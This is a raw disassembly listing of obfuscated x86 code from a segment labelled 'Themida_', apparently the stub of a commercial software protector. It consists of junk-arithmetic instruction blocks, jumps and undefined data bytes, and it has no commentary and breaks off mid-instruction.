jmp loc_555EF2 ; --------------------------------------------------------------------------- dw 0DF29h dd 2F36C781h, 6AE97D03h db 2, 1, 0 ; --------------------------------------------------------------------------- loc_5560EB: ; CODE XREF: Themida_:0055635Bj sub ebx, edi push dword ptr [esp] mov edi, [esp] push ebp mov ebp, esp jmp loc_568B3B ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 65A7E9h db 0 ; --------------------------------------------------------------------------- loc_556105: ; CODE XREF: Themida_:00554499j shl edx, 3 sub edx, 38A64728h add edx, 2421098Dh add edx, 0D12D5388h jmp loc_567844 ; --------------------------------------------------------------------------- db 1 dd 3CE95BDDh db 1Ah, 1, 0 ; --------------------------------------------------------------------------- loc_556127: ; CODE XREF: Themida_:0055B333j sub edi, 0D8633E91h mov eax, edi pop edi mov edi, 0AD1DE779h add edi, eax pop eax push ebp jmp loc_55A7CD ; --------------------------------------------------------------------------- dw 0C181h dd 56FC4083h, 0C532E981h, 0C8290886h, 4C79E959h, 14890000h dd 0E99C5024h, 0FFFFCF49h, 4BD555Eh, 1000000h, 7F22E9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55616A: ; CODE XREF: Themida_:0056275Ej add esi, 0C643ED7h add esi, 97F55394h or eax, esi mov esi, [esp] push ebp push esp jmp loc_558613 ; --------------------------------------------------------------------------- dw 0D129h dd 8159CA89h, 0E85F2EEAh, 73C2810Ch, 0E9B28328h, 0FFFFD102h dd 0A2E9565Ah db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55619F: ; CODE XREF: Themida_:00568B4Bj mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55A31A ; --------------------------------------------------------------------------- dd 0E9240433h, 0FFFFF8F0h, 8704EF83h, 895C243Ch, 1FB1240Ch dd 0C8287B2Ch, 0F2AEE9h, 0C4815900h, 4, 89F58955h, 50E95DEBh dd 8100008Eh, 1C49FFC6h, 5EF7013Bh, 30FFBD55h, 0EF292A98h dd 81242C8Bh, 4ECh, 8769E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556206: ; CODE XREF: Themida_:00566824j add eax, 4D2A3278h mov ecx, [esp] push esi jmp loc_55D798 ; --------------------------------------------------------------------------- dd 34FFF589h, 0C4815E24h, 4, 5131E9h, 10FBBE00h, 0F7015B69h dd 2C9CE95Eh, 0BA660000h, 0F76665C9h, 0F28166DAh, 0F76644BEh dd 0EA8166D2h, 57E97875h db 1Eh, 1, 0 ; --------------------------------------------------------------------------- loc_55624B: ; CODE XREF: Themida_:00555A9Cj mov ebx, 64885577h or ebx, 5EC11111h push eax push esi jmp loc_56348A ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 53h dd 2E2146BBh, 0FFDF3192h, 60E92434h, 0C10000E9h, 0C78108EFh dd 3430F5F3h, 295FF889h, 535E58C1h, 2BBh, 0C4E98100h, 295FBF20h dd 6E48E9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556292: ; CODE XREF: Themida_:005629FAj mov [esp], ebx mov ebx, 4 sub ebp, ebx jmp loc_55893C ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 0BD550000h, 69521E53h, 0E74EE9h db 0 ; --------------------------------------------------------------------------- loc_5562B5: ; CODE XREF: Themida_:0056114Bj not edi push eax mov eax, 319B6BCEh sub edi, 676F71AEh jmp loc_555AA9 ; --------------------------------------------------------------------------- aHc db '[hc%',0 align 2 dw 3C89h dd 4BF24h, 0FA010000h, 2414875Fh, 0FEB9E9h db 0 ; --------------------------------------------------------------------------- loc_5562E1: ; CODE XREF: Themida_:00560978j push esi not dword ptr [esp] jmp loc_557E8F ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 25768h, 24348900h, 457F95BEh, 0DA0BE972h dd 0CE310000h, 1C181h, 0CE870000h, 713AF681h, 0EC837CCFh dd 242C8904h, 11340E9h db 0 ; --------------------------------------------------------------------------- loc_55631D: ; CODE XREF: Themida_:005538B4j mov esi, edx pop edx sub edx, 479D6B91h sub edx, 26550494h sub edx, esi jmp loc_5579C5 ; --------------------------------------------------------------------------- db 52h dd 8AE9B4B2h, 66000121h, 0F581664Dh, 5566741Eh, 24048166h dd 8B66633Fh, 0CEE92414h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_556353: ; CODE XREF: Themida_:0056361Bj mov edi, 3F4EEDFDh xor edi, edx pop edx jmp loc_5560EB ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 515DE901h, 42474FFh, 24048F59h, 4CC7685Ch dd 1C890000h, 1C8B5424h, 0D725E924h, 0E1D00000h, 0E9C8F180h dd 0FFFFFC8Dh, 8B240C87h, 0B8502424h, 7551660Dh, 4F32BE56h dd 53520805h, 0D44F34BBh, 5BDA8913h, 0E281DAF7h, 94B2129h dd 39D6BF57h, 0C78160A9h, 0FD05F6EBh, 2BE9FA31h, 6600009Ah dd 6824048Bh, 1B99h, 54243C89h, 0BB53515Fh, 45B4624Ch dd 68E3D1h, 0E9000000h, 0FFFFFA9Ch, 5004C483h, 405E089h dd 0E9000000h, 0FFFFDF77h ; --------------------------------------------------------------------------- loc_5563F8: ; CODE XREF: Themida_:00564C1Bj pop ebp pop edi and eax, ecx push dword ptr [esp] jmp loc_56139A ; --------------------------------------------------------------------------- loc_556404: ; CODE XREF: Themida_:0055DBACj mov ebp, 1 and eax, ebp jmp loc_55F0A1 ; --------------------------------------------------------------------------- loc_556410: ; CODE XREF: Themida_:00561ACBj sub ebx, 0ED32902h jmp loc_561CD2 ; --------------------------------------------------------------------------- db 59h dd 0F602E3C0h, 36C380D3h, 0E973B450h, 654Ah ; --------------------------------------------------------------------------- loc_55642C: ; CODE XREF: Themida_:0056684Bj add esp, 4 sub ebp, 480801F9h sub ebp, 0B745C576h sub eax, 60D85F6Ah sub eax, 2A6177CCh add eax, ebp push edi mov edi, 4231025Dh inc edi and edi, 3BAB280Fh or edi, 0DB87551h not edi add edi, 28BE3739h sub edi, 0EEA34A0Dh add eax, edi pop edi add eax, 60D85F6Ah pop ebp inc eax push edx mov edx, 2B80297Ah jmp loc_559863 ; --------------------------------------------------------------------------- dd 351FA2BFh, 96C78169h, 1870290h, 1976E9FEh, 0CE810001h dd 4107482Fh, 3388EE81h, 0F121321Eh, 55C1815Eh, 0F77AE316h dd 0E6F181D1h, 2DC3FD8Bh, 5AF46E83h, 0BE56C829h, 1F824C91h dd 55D0C681h, 0EE811F68h, 1DEB49A6h, 6FAAE681h, 0C6812B5Eh dd 3CDF4CB4h, 26DBEE81h, 0F0010249h, 0F029595Eh, 0E62E4005h dd 0F0BBE947h, 51560000h, 52E9E189h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5564F3: ; CODE XREF: Themida_:005582ECj pop edi shl edi, 8 add edi, 37D6F204h mov eax, edi pop edi push 7DF7h mov [esp], edi mov edi, 58CD1079h jmp loc_565187 ; --------------------------------------------------------------------------- aR4zfssje db 'Rº4ZFs醥',0 dd 243C8B00h, 5FC1E9h, 0C2EF8100h, 0C1201D09h, 0C78108EFh dd 6764296Eh, 0EC050E05h, 2DF82947h, 47EC050Eh, 240C8B5Fh dd 0F38EE9h, 2434FF00h, 8B2434FFh, 0C483240Ch, 4C48304h dd 8904EC83h, 93E9241Ch db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556563: ; CODE XREF: Themida_:00558125j push ebp mov ebp, 21ED3BF0h xor ebp, 5276656Fh add ebp, 51D4052Dh shl ebp, 8 sub ebp, 2D712BECh xor ebp, 0E9EF267h add ebx, ebp pop ebp sub ebx, esi push eax mov eax, 4F6C5273h sub ebx, eax pop eax mov esi, [esp] add esp, 4 not ebx jmp loc_568393 ; --------------------------------------------------------------------------- dw 0ED83h dd 87C581FFh, 0E90F9F04h, 695Dh, 5307C181h, 0CB29CBC1h dd 122C5E9h, 46800h, 81580000h, 5A20AFC5h, 21ED8158h, 17FB337h dd 7BB850C5h, 0E92AD141h, 0FFFFF0B9h, 4DB9EE81h, 93E9C6A9h dd 0FF0000AFh, 0E95B2434h, 10A8Dh, 0C581F501h, 3F20766Ch dd 39C3815Eh, 1327B3Eh, 39EB81EBh, 5D327B3Eh, 0E904EB83h dd 0D70Ah, 3FB0F781h, 42E9167Fh, 5100006Dh, 0B2211AB9h dd 83685626h, 5E40BC17h, 0EEC1DEF7h, 0E9DEF704h, 0FFFFE747h dd 8A240C28h, 0C483240Ch, 0E9C1FE02h, 0FFFFE653h ; --------------------------------------------------------------------------- loc_556644: ; CODE XREF: Themida_:00558F12j mov esi, 30F72622h add ebx, esi pop esi push eax push ebp mov ebp, 0 mov eax, ebp pop ebp sub eax, 13503007h add eax, ebx jmp loc_558E55 ; --------------------------------------------------------------------------- aKbiTk@s db 'Kë~tª@éÁ\',0 align 2 dw 0BA52h dd 4, 148BD301h, 4C48324h, 4B951h, 0CB010000h, 241C3359h dd 0AD3DE9h, 24143300h, 0DE54E9h, 4C48300h, 7B95155h, 8958F752h dd 0F58159CDh, 3AA1075Ch, 1193E581h, 0C5817F60h, 9DBFEEF1h dd 835DEA01h, 0EC8102C2h, 4, 0FF241489h, 0FF042474h, 148B2434h dd 4C48124h, 0E9000000h, 0D2FBh, 8922C581h, 0EB89CC9Ch dd 0E9D8895Dh, 0FFFFCCA1h, 0E9EF8853h, 6895h, 0E7BF5750h dd 0F7001729h, 0D8F781D7h, 57B31FBAh, 8715E9h db 0 ; --------------------------------------------------------------------------- loc_556705: ; CODE XREF: Themida_:00565B07j sub ecx, 3CE04CE6h jmp loc_558122 ; --------------------------------------------------------------------------- dd 5008E9C1h, 0F6125B8h, 58C10910h, 10CEFE9h, 4EC8100h dd 89000000h, 0C5E9240Ch db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55672F: ; CODE XREF: Themida_:00563554j sub ebp, 6A7576F4h jmp loc_55D13D ; --------------------------------------------------------------------------- dw 0F381h dd 0C790CC2h, 11EB1E9h, 0C3805800h, 0B9EB8007h, 0B252C328h dd 5AD300B9h, 2807B450h, 0EB8058E3h, 2EC8110h, 66000000h dd 0E9241489h, 6136h ; --------------------------------------------------------------------------- loc_55676C: ; CODE XREF: Themida_:005649CDj add edx, 31DA1558h mov ebx, [esp] add esp, 4 mov ebp, [esp] jmp loc_5597EC ; --------------------------------------------------------------------------- loc_556780: ; CODE XREF: Themida_:0055E5ECj mov esi, edx jmp loc_55F75F ; --------------------------------------------------------------------------- db 81h dd 4C7h, 243C8700h, 0BBD2E9h db 0 ; --------------------------------------------------------------------------- loc_556795: ; CODE XREF: Themida_:0055AD85j push edi mov edi, 1CC30920h jmp loc_560B50 ; --------------------------------------------------------------------------- dd 4C181h, 0C1830000h, 240C8704h, 24048F5Ch, 0C8EFE95Ch dd 0EF81FFFFh, 81D0668h, 0C781EF01h, 81D0668h, 6CBB535Dh dd 5725941Dh, 905548BFh, 0E9FB293Bh, 116E6h, 0E950E289h dd 1EEBh, 6155FBBDh, 0A9ED817Eh, 0E9178D07h, 0FFFFF4E9h dd 0F4EA815Ch, 0E974915Bh, 0FABBh, 0E91EF380h, 0FFFFD724h ; --------------------------------------------------------------------------- loc_556804: ; CODE XREF: Themida_:0055E8A1j push edi jmp loc_567511 ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 5B9h, 0D7895B58h, 0E9FD895Ah, 0AB44h, 4C3835Ah dd 0DE9AE9h db 0 ; --------------------------------------------------------------------------- loc_556829: ; CODE XREF: Themida_:0055BE26j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] jmp loc_56772B ; --------------------------------------------------------------------------- dd 7EDC05Ah, 4C0C580h, 51E80059h, 0ED8020B5h, 8EACE9C7h dd 0EB810000h, 79587DFAh, 5BB8EB81h, 0F3012BFAh, 5BB8C381h dd 0C3812BFAh, 79587DFAh, 5E2434FFh, 51E38953h, 4B9h, 0FAEB8100h dd 109B704h, 0FAC381CBh, 5909B704h, 4B850h, 0C3010000h dd 241C3358h, 33241C31h, 835C241Ch, 0E95302C3h, 0A02Fh ; --------------------------------------------------------------------------- loc_5568A4: ; CODE XREF: Themida_:0055F949j sub esp, 4 mov [esp], edi mov edi, 4 add ebx, edi jmp loc_567D7F ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24148B04h, 505E5456h, 3B6C85B8h, 6AE02D5Ah, 0D0F71435h dd 5216E9h db 0 ; --------------------------------------------------------------------------- loc_5568D5: ; CODE XREF: Themida_:00561508j push 1CD5h jmp loc_5573E2 ; --------------------------------------------------------------------------- a_obc9 db '_OçÍ=9',0 db 0C1h dd 0FAE908E7h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5568EF: ; CODE XREF: Themida_:0055BD7Dj sub esp, 4 mov [esp], ebp push esi mov esi, 3A2E18A3h jmp loc_568845 ; --------------------------------------------------------------------------- aPsb7 db 'Pé7',0 align 2 loc_556906: ; CODE XREF: Themida_:0055E044j mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp] pop esp mov [esp], ebx jmp loc_55E700 ; --------------------------------------------------------------------------- loc_55691A: ; CODE XREF: Themida_:0055EE83j add edi, 7C44619Fh shl edi, 5 dec edi and edi, 66114C5Ch xor edi, 643660CCh jmp loc_55E165 ; --------------------------------------------------------------------------- aPJWXsqw db 'P°J$w,±',8,'ÆXéïw',0 align 4 dd 489665Ch, 57B35324h, 0E9BBB753h, 4F5Fh, 2DC0A968h, 0C82959ECh dd 8BC28959h, 0C4832404h, 0E9D30104h, 0FFFFD15Ah, 0B4CAE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556972: ; CODE XREF: Themida_:00554B61j pop ebp add esp, 4 add edx, 65734876h add edx, ebp sub edx, 65734876h add edx, 3FAD5A3Eh push ebp mov ebp, 5FD9594Ah neg ebp add ebp, 3FC915C1h or ebp, 69024294h inc ebp shr ebp, 8 jmp loc_5537A5 ; --------------------------------------------------------------------------- dw 0F381h dd 78C26F32h, 0F80FE9h db 0 ; --------------------------------------------------------------------------- loc_5569B5: ; CODE XREF: Themida_:0055CEAEj mov [esp], cx jmp loc_5530A5 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 55E08950h, 0D43FB6BDh, 0E5E58115h, 8157583Fh, 884360EDh dd 40B95177h, 0E99DC7FCh, 0B69Eh, 4C781h, 0C7830000h, 243C3304h dd 33243C31h, 0E95C243Ch, 98A3h, 5AD028h, 79A768C8h, 0C890000h dd 3CB05024h, 0A1EAE9h db 0 ; --------------------------------------------------------------------------- loc_556A11: ; CODE XREF: Themida_:00565270j xor esi, 7BA62F20h or esi, 292740Fh jmp loc_5677ED ; --------------------------------------------------------------------------- dw 0C101h dd 1012E981h, 34FF7DB9h, 0C4815824h, 4, 4EC81h, 0C890000h dd 2474FF24h, 48F5904h, 24248B24h, 14E368h, 1078E900h dd 0BF570000h, 317B47DDh, 3951EF81h, 0EF8141BCh, 2D454763h dd 0E87BF781h, 0FB09ADE7h, 76B1E9h, 4C48100h, 0 aZhS db 'ÐZhÃS',0 dw 8900h dd 5066241Ch, 271868h, 24148900h, 0B3E9ABB2h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556A93: ; CODE XREF: Themida_:00559BD4j mov edx, 38124BFCh sub ebx, 736976D3h sub ebx, edx add ebx, 736976D3h pop edx push eax mov eax, 11426781h jmp loc_564198 ; --------------------------------------------------------------------------- dw 0E981h dd 57F650A0h, 6859CB01h, 695Ah, 52240C89h, 271905BAh, 5AD1896Eh dd 16B8BB53h, 0A5E96A5Dh, 81FFFFD1h, 91D9BCC5h, 8BEA0114h dd 8950242Ch, 405E0h, 64E90000h, 66000035h, 6601B168h dd 66241489h, 0A6E99C50h, 89FFFFC5h, 4832424h, 81590424h dd 4C1h, 4C18300h, 5C240C87h, 1DB868h, 24348900h, 24C4E9h dd 83EDD100h, 92E904ECh, 680000FFh, 7810h, 81243C89h, 40802434h dd 1C8B5FB1h, 4C48324h, 4080F381h, 0DFE95FB1h, 55FFFFE7h dd 7E50F1BDh, 0B9CD8131h, 815FBA70h, 9F0E69EDh, 5DEB2927h dd 767BE95Ah, 0BA520000h, 4F9C3737h, 0CA81D2F7h, 4C8D3848h dd 0C280E9h db 0 ; --------------------------------------------------------------------------- loc_556B79: ; CODE XREF: Themida_:00565AE3j sub eax, 3CB6439Dh add edi, eax jmp loc_560472 ; --------------------------------------------------------------------------- loc_556B85: ; CODE XREF: Themida_:0055E93Ej push eax mov al, 88h mov dh, 67h jmp loc_55779D ; --------------------------------------------------------------------------- db 80h dd 0C580F6E5h, 59EB2891h, 83240C8Bh, 0B60F04C4h, 48F66C0h dd 0C4FBE987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556BAA: ; CODE XREF: Themida_:005671F5j xor [esp], edx xor edx, [esp] mov esp, [esp] shr ecx, 0Ah push 3B51h mov [esp], ebx push edx mov edx, 564E6DF0h jmp loc_55D80D ; --------------------------------------------------------------------------- db 66h, 21h, 0DFh dd 56665B66h, 9510BE66h, 0BD665566h, 81666E8Ah, 0E9046EC7h dd 0DEAEh ; --------------------------------------------------------------------------- loc_556BE4: ; CODE XREF: Themida_:0055C7FCj xchg edx, [esp] pop esp mov [esp], edi mov edi, 29975103h xor edi, 47BC4D6Ah neg edi or edi, 2CA07880h push edx mov edx, 583BE9A9h sub edi, edx pop edx jmp loc_5609C7 ; --------------------------------------------------------------------------- loc_556C0C: ; CODE XREF: Themida_:0055CACEj push eax mov eax, 42677A86h shl eax, 8 sub eax, 0CB86650h shr eax, 4 sub eax, 1 inc eax sub eax, 5AC21F7h sub ecx, 5BB253B1h add ecx, eax jmp loc_564146 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4EFh, 243C8700h, 55FE9h, 81C52900h, 555746C5h dd 0B951586Eh, 35AF5FCCh, 0E957D1F7h, 0FA0Eh, 0E53C75BEh dd 5EF50147h, 0ED81F501h, 47E53C75h, 0BE56555Eh, 514D2992h dd 4247431h, 24048B5Eh, 4C481h, 20E90000h, 5CFFFFE0h, 9DE9C009h dd 0FF00003Ah, 0FF042474h, 835B2434h, 48F04C4h, 0BCE95C24h dd 8FFFFFE3h, 0E95C2404h, 8F7h ; --------------------------------------------------------------------------- loc_556CB0: ; CODE XREF: Themida_:005538A2j sub edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ecx mov eax, [esp] jmp loc_5628D8 ; --------------------------------------------------------------------------- dd 327A68h, 24348900h, 5C28F9BEh, 4EEC149h, 1EBFBA52h dd 0D60960AEh, 8324148Bh, 0CE8104C4h, 3819360Fh, 0B3F3EE81h db 78h, 0Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_563EA2 ; --------------------------------------------------------------------------- dd 0AB05F829h, 504C364h, 30814C5Bh, 57243C8Bh, 11B42E9h dd 0B60F6600h db 0CCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 67262FD6h shr esi, 2 push ecx mov ecx, 1A02476h dec ecx shl ecx, 8 sub ecx, 7A2034A6h xor esi, ecx pop ecx add esi, 0C0323455h add ebp, esi pop esi push edx mov edx, 6B0B10E7h push edx jmp loc_55D03F ; --------------------------------------------------------------------------- db 0BAh, 0BEh, 1Dh dd 0D2F75206h, 0DAF7DAF7h, 0BE56D2F7h, 7A161D3Bh, 3CC1E9h dd 95EC8000h, 5EEC80h, 5EC480ECh, 6695C480h, 6CEB8059h dd 0C380E300h, 0D28DE96Ch, 0C483FFFFh, 0CFE95204h, 810000B7h dd 4C4h, 2DCC6800h, 4890000h, 0F81BE924h, 0E95BFFFFh, 0FFFFEB08h dd 0C5E9DF01h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556DAF: ; CODE XREF: Themida_:0055FFECj pop edi and esi, 60F42D0Ah push ecx mov ecx, 1AF07EFAh xor esi, ecx pop ecx jmp loc_557023 ; --------------------------------------------------------------------------- dd 5E2434FFh, 0B3F9E9h, 24540100h, 2434FF04h, 0B1F2E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_556DDA: ; CODE XREF: Themida_:00561DFAj add edx, 4 jmp loc_5682D5 ; --------------------------------------------------------------------------- db 55h, 0BDh, 14h dd 1429467h, 5D08246Ch, 36B6E9h, 2EDF2D00h, 0A2E95F70h dd 0BDFFFFF4h, 4, 2C8BEE29h, 0F5C1E924h, 535A0000h, 0D04803BBh dd 49CB816Fh, 0C1009D01h, 0A2E906E3h, 68000067h, 1014h dd 27FB68h, 24248900h, 4240483h, 8324048Fh, 0FF042404h dd 835E2434h, 306804C4h, 8900007Eh, 4BF243Ch, 1000000h dd 2434FFFEh, 0E954505Fh, 9AD7h, 0EE3E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556E62: ; CODE XREF: Themida_:0055C18Dj push 51DFh mov [esp], esp jmp loc_5633C0 ; --------------------------------------------------------------------------- aISpn db '‰$$é',0 dw 8300h dd 1B6804ECh, 54000059h, 8324048Fh, 8F042404h, 4832404h dd 34FF0424h, 2434FF24h, 0D63BE9h, 5E8C000h, 73E9A004h dd 8B0000C1h, 34892424h, 4EC8324h, 4EC81h, 24890000h, 0C2F7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556EBA: ; CODE XREF: Themida_:00558E5Aj add dword ptr [eax], 1 pop eax mov ebx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_556ED4: ; CODE XREF: Themida_:0055EB83j push ebx xor dword ptr [esp], 58B349F5h pop eax push 2101h mov [esp], edx push ecx jmp loc_5598DD ; --------------------------------------------------------------------------- db 81h dd 34DE29C2h, 5AD38950h, 62FAF381h, 0C3814959h, 7DFE156Fh dd 1081E9h, 0F640B400h, 6DC3E9D4h, 34310000h, 24343324h dd 0E924248Bh, 1014Ah, 0D9288EB1h, 88C1805Bh, 0C003E9C0h dd 0EDE902E9h, 5A000008h, 36AA68h, 240C8900h, 42474FFh dd 81240C8Bh, 4C4h, 0FD5DE900h, 0B5B9FFFFh, 8151D71Ah dd 8A2F41E9h, 56E9814Ch, 0E937B554h, 25B9h ; --------------------------------------------------------------------------- loc_556F60: ; CODE XREF: Themida_:0056898Cj add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push eax push 4 mov eax, [esp] add esp, 4 sub edx, 34C8361Ah add edx, 499A020Ch sub edx, eax sub esp, 4 mov [esp], esi mov esi, 60747E29h and esi, 1DD5618Bh jmp loc_568A4C ; --------------------------------------------------------------------------- aIXusdy db '‰ÂXUédy',0 align 2 loc_556FCE: ; CODE XREF: Themida_:00568C27j add edi, 3CCEF55Eh xor ebx, edi pop edi add esi, ebx pop ebx jmp loc_568361 ; --------------------------------------------------------------------------- db 81h dd 42404h, 148B0000h, 4C48124h, 55000000h, 51A1BA52h, 0D5890628h dd 0FFE5815Ah, 0E93CD030h, 0FFFFC6DAh, 3DE9D5F7h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55700B: ; CODE XREF: Themida_:00562849j pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_5551FB ; --------------------------------------------------------------------------- dd 0F4E9C4B2h db 0DAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557023: ; CODE XREF: Themida_:00556DBFj add esi, 0DB0DF0AEh sub edi, esi jmp loc_562542 ; --------------------------------------------------------------------------- dd 4C48359h, 6219E9h, 2E9C100h, 0E904E9C1h, 1364h ; --------------------------------------------------------------------------- loc_557044: ; CODE XREF: Themida_:00554431j push 196Bh mov [esp], ecx push ebx mov ebx, 61D65585h jmp loc_56218A ; --------------------------------------------------------------------------- db 51h dd 3E9E189h, 8300001Ah, 5E042404h, 9E668h, 1015E900h, 0C9810001h dd 1F8234F9h, 0E424E981h, 7AE9E71Dh, 81FFFFE3h, 577759F6h dd 4E6C14Eh, 83A9E9h, 81D9F700h, 241A8DC9h, 2AC1810Dh dd 689CC605h, 3646h, 55240C89h, 6F6BE9h, 0B3535B00h, 63C38082h dd 0C3DFE9h, 48F5B00h, 34FF5C24h, 2434FF24h, 81240C8Bh dd 4C4h, 4EC8100h, 0E9000000h, 0ED1Eh, 7C62C381h, 815825F7h dd 0FB4EB4EFh, 8DC78176h, 0E95E2D08h, 0BE32h, 2C04C483h dd 68D8288Ah, 18B7h, 956E9h, 1B816800h, 3C890000h, 0CC4D6824h dd 37E9A3C5h db 19h, 1, 0 ; --------------------------------------------------------------------------- loc_55710F: ; CODE XREF: Themida_:0055EA85j pop esi sub esp, 4 mov [esp], edi push eax jmp loc_557435 ; --------------------------------------------------------------------------- db 31h dd 0F8BCE9D0h, 0EA800000h, 0E9E22841h, 7A1Ch ; --------------------------------------------------------------------------- loc_557130: ; CODE XREF: Themida_:00555B79j pop ebx not ebx xchg ebx, ebp sub ebp, 0E9AD51A1h jmp loc_56890C ; --------------------------------------------------------------------------- loc_557140: ; CODE XREF: Themida_:005624ACj push esp pop ebp jmp loc_55334F ; --------------------------------------------------------------------------- db 1 aSsQ db 'èéìQ',0 align 2 dw 3487h dd 0C1815C24h, 4, 4C181h, 0C330000h, 240C3124h, 5C240C33h dd 0ED868h, 240C8900h, 4EC81h, 24890000h, 24048324h, 240C8B04h dd 0E904C483h, 0FFFFCE05h ; --------------------------------------------------------------------------- loc_557188: ; CODE XREF: Themida_:00566C14j push 5DA7h mov [esp], ecx mov ecx, 411721FBh or ecx, 5EA27ED6h not ecx xor ecx, 0EF529A83h jmp loc_55482D ; --------------------------------------------------------------------------- dd 2414895Ch, 1F92E9h db 0 ; --------------------------------------------------------------------------- loc_5571B1: ; CODE XREF: Themida_:00555B1Ej push esi push ebp push 0A7A3FBEh pop ebp sub ebp, 4EF85C35h dec ebp jmp loc_55D287 ; --------------------------------------------------------------------------- loc_5571C5: ; CODE XREF: Themida_:0055FA73j xor [esp], ecx xor ecx, [esp] pop esp shr eax, 18h jmp loc_557CCC ; --------------------------------------------------------------------------- dd 8904EC83h, 0BD552434h, 104E3767h, 0C89BC581h, 0EE89EFB1h dd 14BE565Dh, 816EF255h, 0CE1739C6h, 14F75666h, 24348B24h dd 8104C483h, 9EA1C9C6h, 5EF1011Bh, 0BA52F101h, 3CB201F6h dd 3FD3E281h, 0C2814DABh, 393C33A9h, 2A2CC181h, 0E9816186h dd 64CA2E4Fh, 0C181D129h, 64CA2E4Fh, 3BD9E9h, 242C8700h dd 4C4815Ch, 56000000h, 0B951E689h, 4, 0E683E9h, 2E95C00h dd 8100004Dh, 9E7C0AE7h, 0D731E977h, 0C2880000h, 885AD388h dd 0E5E95BDEh, 680000D1h, 1A58h, 54240C89h, 0FBE95259h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55727B: ; CODE XREF: Themida_:00563B92j mov edx, 3085563Bh add edx, 78DF2893h jmp loc_56826C ; --------------------------------------------------------------------------- db 1 dd 81042474h, 0B4042444h, 5E79F518h, 0E92434FFh, 0FFFFDD42h ; --------------------------------------------------------------------------- loc_5572A0: ; CODE XREF: Themida_:0055D2CEj add ebx, ecx pop ecx sub edx, ebx jmp loc_568969 ; --------------------------------------------------------------------------- dw 0ED80h dd 0E9DDF621h, 17BFh ; --------------------------------------------------------------------------- loc_5572B4: ; CODE XREF: Themida_:0056878Fj push edx push 77D5h mov [esp], edi sub esp, 4 mov [esp], esi push 2FFB278Dh jmp loc_55CBD0 ; --------------------------------------------------------------------------- db 83h, 0C4h, 2 dd 8024E980h, 0A62C7EE9h, 0A604C828h, 0EBEB8059h, 0E91EEB80h dd 4E42h, 0E9241C89h, 3F0Dh, 3E13E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5572F6: ; CODE XREF: Themida_:00554EBBj not dword ptr [esp] pop eax xor eax, 8E48A8F5h mov ebp, eax pop eax dec ebp jmp loc_559ACA ; --------------------------------------------------------------------------- dd 0D6E9FB87h, 8B000010h, 65E92424h, 5700010Bh, 331E0BFh dd 5FF98926h, 0F751D1F7h, 41592414h, 0FFDBD7E9h, 5DEA89FFh dd 11997E9h, 241C8900h, 6D906852h, 4BE96C17h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557343: ; CODE XREF: Themida_:00561B31j push ebp push edi push 62653DB0h pop edi neg edi not edi neg edi sub edi, 9D9AC24Dh mov ebp, edi pop edi jmp loc_557A9D ; --------------------------------------------------------------------------- align 10h dd 0B971E9F1h, 0C6810000h, 5C8F3093h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_565995 ; --------------------------------------------------------------------------- dd 6BA5258h, 0E910807Ch, 9083h, 279F181h, 0C9812861h, 104D5DA8h dd 52C2E981h, 48E95822h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55739B: ; CODE XREF: Themida_:0055F431j mov [esp], eax jmp loc_563F9E ; --------------------------------------------------------------------------- db 0FFh dd 10E92434h, 0F70000F1h, 28EA81DAh, 8149DF36h, 779CA3F2h dd 5AD6897Dh, 594AEE81h, 0F6815574h, 182C41A1h, 8105E6C1h dd 0FD5A88EEh, 3CE817Fh, 815E3556h, 0E8168AC6h, 60A4E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5573E2: ; CODE XREF: Themida_:005568DAj mov [esp], edx jmp loc_564CF0 ; --------------------------------------------------------------------------- loc_5573EA: ; CODE XREF: Themida_:005547D5j mov [esp], esp add dword ptr [esp], 4 pop edi push 10CBh mov [esp], edx mov edx, 296D0BA5h push ebx mov ebx, 0D692F45Fh add edx, ebx pop ebx add edi, edx pop edx jmp loc_559411 ; --------------------------------------------------------------------------- loc_557413: ; CODE XREF: Themida_:00559809j mov [esp], 